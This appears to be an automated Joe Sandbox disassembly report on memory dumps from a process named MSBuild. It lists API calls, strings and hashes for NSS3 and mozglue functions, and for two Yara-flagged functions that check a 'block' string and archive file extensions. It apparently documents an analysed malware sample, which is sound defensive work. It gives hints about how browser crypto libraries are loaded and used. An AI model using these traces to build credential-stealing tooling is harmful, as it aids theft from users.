Part of subcall function 6CC06C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC0781D,?,6CBFBE2C,?), ref: 6CC06C58
Part of subcall function 6CC06C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC0781D), ref: 6CC06C6F
Part of subcall function 6CC06C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC06C84
Part of subcall function 6CC06C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC06C96
Part of subcall function 6CC06C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC06CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC06F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC06FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CC06FF4

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 5778574b30535fb1f7ade98c8418adedad9ea4c0b15428732c98f2198c6859b2
Instruction ID: 3776b1d2435634ede50b6838044cf8089638dae464e036497b8a1693638de464
Opcode Fuzzy Hash: 5778574b30535fb1f7ade98c8418adedad9ea4c0b15428732c98f2198c6859b2
Instruction Fuzzy Hash: 1DB14CB0F017199BEF01DFA5D885B9EBBB8AF05248F140024ED15E7A41F732A995CB61

Function 6CC04C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC04C4C
EnterCriticalSection.KERNEL32(?), ref: 6CC04C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC04CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC04CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC04CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC04D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC04D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC04DB7

Part of subcall function 6CC6DD70: TlsGetValue.KERNEL32 ref: 6CC6DD8C
Part of subcall function 6CC6DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC6DDB4

Part of subcall function 6CBB07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB4204A), ref: 6CBB07AD
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB4204A), ref: 6CBB07CD
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB4204A), ref: 6CBB07D6
Part of subcall function 6CBB07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB4204A), ref: 6CBB07E4
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,6CB4204A), ref: 6CBB0864
Part of subcall function 6CBB07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBB0880
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB4204A), ref: 6CBB08CB
Part of subcall function 6CBB07A0: TlsGetValue.KERNEL32(?,?,6CB4204A), ref: 6CBB08D7
Part of subcall function 6CBB07A0: TlsGetValue.KERNEL32(?,?,6CB4204A), ref: 6CBB08FB

TlsGetValue.KERNEL32 ref: 6CC04DD7
EnterCriticalSection.KERNEL32(?), ref: 6CC04DEC
PR_Unlock.NSS3(?), ref: 6CC04E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CC04E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC04E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CC04E71
free.MOZGLUE(00000000), ref: 6CC04E7A
PR_Unlock.NSS3(?), ref: 6CC04EA2
TlsGetValue.KERNEL32 ref: 6CC04EC1
EnterCriticalSection.KERNEL32(?), ref: 6CC04ED6
PR_Unlock.NSS3(?), ref: 6CC04F01
free.MOZGLUE(00000000), ref: 6CC04F2A

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: c3ed49ad462191192d092b7cfab121f471229e74a7e7b33727895ddf9a528784
Instruction ID: 21673ac6cf6183d1c1e53830e28eed8150c9b157a6a75fd93c0b7c5c58a0dfad
Opcode Fuzzy Hash: c3ed49ad462191192d092b7cfab121f471229e74a7e7b33727895ddf9a528784
Instruction Fuzzy Hash: 07B112B5B002059FEB00EF69D885AABB7B8BF15318F044124EE1597B00FB36E965CBD1

Function 6CC56E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CC56BF7), ref: 6CC56EB6

Part of subcall function 6CBB1240: TlsGetValue.KERNEL32(00000040,?,6CBB116C,NSPR_LOG_MODULES), ref: 6CBB1267
Part of subcall function 6CBB1240: EnterCriticalSection.KERNEL32(?,?,?,6CBB116C,NSPR_LOG_MODULES), ref: 6CBB127C
Part of subcall function 6CBB1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBB116C,NSPR_LOG_MODULES), ref: 6CBB1291
Part of subcall function 6CBB1240: PR_Unlock.NSS3(?,?,?,?,6CBB116C,NSPR_LOG_MODULES), ref: 6CBB12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CCFFC0A,6CC56BF7), ref: 6CC56ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC56EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CC56EFC
PR_NewLock.NSS3 ref: 6CC56F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC56F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CC56BF7), ref: 6CC56F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CC56BF7), ref: 6CC56F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CC56BF7), ref: 6CC56FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CC56BF7), ref: 6CC56FFD

Strings

SSLFORCELOCKS, xrefs: 6CC56F2B
SSLKEYLOGFILE, xrefs: 6CC56EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CC56FF8
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CC56FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CC56F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CC56EF7

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 1551caec3251afa39e263a3da0bb3a6896e7df69922050c5932c8ce46ad6f0ff
Instruction ID: f9cd73a90044c0c04c0d001417fcef5b4dc8b5d0920030ab5221281c739033d4
Opcode Fuzzy Hash: 1551caec3251afa39e263a3da0bb3a6896e7df69922050c5932c8ce46ad6f0ff
Instruction Fuzzy Hash: 50A109B2A66C808BF710462DCC1135832A5BB83379F988365E631C6FD5FB39A4B49349

Function 6CBF6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CBF6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBF6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBF6DC3

Part of subcall function 6CCDD930: PL_strncpyz.NSS3(?,?,?), ref: 6CCDD963

PR_LogPrint.NSS3(?,00000000), ref: 6CBF6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CBF6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CBF6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CBF6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CBF6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CBF6EB9

Strings

pDigest = 0x%p, xrefs: 6CBF6E27
pData = 0x%p, xrefs: 6CBF6DF5
hSession = 0x%x, xrefs: 6CBF6D9E, 6CBF6DAE
*pulDigestLen = 0x%x, xrefs: 6CBF6EB4
(CK_INVALID_HANDLE), xrefs: 6CBF6DBC
C_Digest, xrefs: 6CBF6D81
ulDataLen = %d, xrefs: 6CBF6E0E
pulDigestLen = 0x%p, xrefs: 6CBF6E42

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 6907e38654a2655d45e9546e08e4ed953b906f6b1b9657b694aa25e866b1baaf
Instruction ID: 1a77df61946e930ace71543da853fc51f606354bb5657475beebab136c2f7489
Opcode Fuzzy Hash: 6907e38654a2655d45e9546e08e4ed953b906f6b1b9657b694aa25e866b1baaf
Instruction Fuzzy Hash: 5E410235601194AFEB019F14DD49E9E7BB9EB4631DF054025FB08A7B11EB34E80DCBA2

Function 004139C2 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 127stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,block,?,?,00417854), ref: 004139D7
ExitProcess.KERNEL32 ref: 004139E2
strtok_s.MSVCRT ref: 004139F3

Strings

TxA, xrefs: 004139EC, 004139EF
block, xrefs: 004139CB

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: TxA$block
API String ID: 3407564107-2373637923
Opcode ID: 0968e0b0628705e8ac1d29d17911e38a67c685f80fe145dba11dcdbcfe66eece
Instruction ID: 9e2abf34b02cddae1b0fa04c6dc88f1d30775994422634f8dc56bb1647053282
Opcode Fuzzy Hash: 0968e0b0628705e8ac1d29d17911e38a67c685f80fe145dba11dcdbcfe66eece
Instruction Fuzzy Hash: 7B414F70A48306BBEB44DF60DC49E9A7B6CFB1870BB206166E402D2151FB39B781DB58

Function 0041B983 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,74DE83C0,00000000,0041C66E,?), ref: 0041B988
StrCmpCA.SHLWAPI(74DE83C0,0043613C), ref: 0041B9B6
StrCmpCA.SHLWAPI(74DE83C0,.zip), ref: 0041B9C6
StrCmpCA.SHLWAPI(74DE83C0,.zoo), ref: 0041B9D2
StrCmpCA.SHLWAPI(74DE83C0,.arc), ref: 0041B9DE
StrCmpCA.SHLWAPI(74DE83C0,.lzh), ref: 0041B9EA
StrCmpCA.SHLWAPI(74DE83C0,.arj), ref: 0041B9F6
StrCmpCA.SHLWAPI(74DE83C0,.gz), ref: 0041BA02
StrCmpCA.SHLWAPI(74DE83C0,.tgz), ref: 0041BA0E

Strings

.zoo, xrefs: 0041B9CC
.zip, xrefs: 0041B9C0
.gz, xrefs: 0041B9FC
.arj, xrefs: 0041B9F0
.lzh, xrefs: 0041B9E4
.arc, xrefs: 0041B9D8
.tgz, xrefs: 0041BA08

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction ID: 04d37d8bf72ca36d8f635762d850a2ddb5f423679fb0dd0bb54afd8eff972df8
Opcode Fuzzy Hash: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction Fuzzy Hash: D601B571691367B15A2226316E41FBF1E6CCD86F80F15202BED00E2289EB4C9C8356FE

Function 6CBF4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CBF4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBF4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBF4D37

Part of subcall function 6CCDD930: PL_strncpyz.NSS3(?,?,?), ref: 6CCDD963

PR_LogPrint.NSS3(?,00000000), ref: 6CBF4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CBF4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBF4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CBF4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CBF4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CBF4E20

Strings

hSession = 0x%x, xrefs: 6CBF4D12, 6CBF4D22
C_GetObjectSize, xrefs: 6CBF4CEE
pulSize = 0x%p, xrefs: 6CBF4DB7
(CK_INVALID_HANDLE), xrefs: 6CBF4D30, 6CBF4D83
hObject = 0x%x, xrefs: 6CBF4D65, 6CBF4D75
*pulSize = 0x%x, xrefs: 6CBF4E1B

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 290c1374d59d2dad40f04f09093036ce71c75a16663675b523e3da8f3acc4a6d
Instruction ID: 416e02355f27933d84d0c2f958d08c30662e86e5e1c4b304012a3be885d57fa8
Opcode Fuzzy Hash: 290c1374d59d2dad40f04f09093036ce71c75a16663675b523e3da8f3acc4a6d
Instruction Fuzzy Hash: 8C41FF74601290AFEB018B04DE88F6E3779EB4231DF054025F7186BB11EB34AC4ECE62

Function 6CC8CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC8CC7B), ref: 6CC8CD7A

Part of subcall function 6CC8CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CBFC1A8,?), ref: 6CC8CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC8CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC8CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CC8CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC8CD8E

Part of subcall function 6CBB05C0: PR_EnterMonitor.NSS3 ref: 6CBB05D1
Part of subcall function 6CBB05C0: PR_ExitMonitor.NSS3 ref: 6CBB05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CC8CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC8CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC8CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC8CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CC8CE48

Strings

wship6.dll, xrefs: 6CC8CDE3
getaddrinfo, xrefs: 6CC8CD88, 6CC8CDF9
freeaddrinfo, xrefs: 6CC8CD9F, 6CC8CE10
ws2_32.dll, xrefs: 6CC8CD75
getnameinfo, xrefs: 6CC8CDB2, 6CC8CE23

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 746f32cda0557a7e73db66e1ac280c2ea23b530f96447f6d7fbb8276e50a07fb
Instruction ID: 8b4e015c6e641cc22280061cc41039dd287b8c937f1eb555a1b6ec5438ca984b
Opcode Fuzzy Hash: 746f32cda0557a7e73db66e1ac280c2ea23b530f96447f6d7fbb8276e50a07fb
Instruction Fuzzy Hash: D711DFE5E0315156EB117A317D40EBF3D9D6B4210EB188636EA25E2E00FB25CD0987B2

Function 6CAB9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAA3217
Part of subcall function 6CAA31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAA3236
Part of subcall function 6CAA31C0: FreeLibrary.KERNEL32 ref: 6CAA324B
Part of subcall function 6CAA31C0: __Init_thread_footer.LIBCMT ref: 6CAA3260
Part of subcall function 6CAA31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAA327F
Part of subcall function 6CAA31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAA328E
Part of subcall function 6CAA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAA32AB
Part of subcall function 6CAA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAA32D1
Part of subcall function 6CAA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAA32E5
Part of subcall function 6CAA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAA32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAB9675
__Init_thread_footer.LIBCMT ref: 6CAB9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAB96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAB9707
__Init_thread_footer.LIBCMT ref: 6CAB971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAB9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAB97B7
FreeLibrary.KERNEL32 ref: 6CAB97D0
FreeLibrary.KERNEL32 ref: 6CAB97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAB9824

Strings

NtMapViewOfSection, xrefs: 6CAB9701
MapViewOfFileNuma2, xrefs: 6CAB97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAB9670
ntdll.dll, xrefs: 6CAB96E3

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 16378e44437904f69018019d762b35e92da40c796cf4b15341cd7299a298b338
Instruction ID: 68e3804d7f796d0058b3ad7b1e958b4231b0ac0cdfe92fcbf1075dd855fc4bee
Opcode Fuzzy Hash: 16378e44437904f69018019d762b35e92da40c796cf4b15341cd7299a298b338
Instruction Fuzzy Hash: A36105716003119BDF00DFB4DA88FBA7BB9FB5A314F044529ED55A3B90D738A888CB91

Function 6CC26CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CCF1DE0,?), ref: 6CC26CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC26D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CC26D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CC26D82
DER_GetInteger_Util.NSS3(?), ref: 6CC26DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC26DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CC26E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CC26F19
PK11_DigestBegin.NSS3(00000000), ref: 6CC26F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CC26F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC27011
PK11_FreeSymKey.NSS3(00000000), ref: 6CC27033
free.MOZGLUE(?), ref: 6CC2703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CC27060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CC27087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CC270AF

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
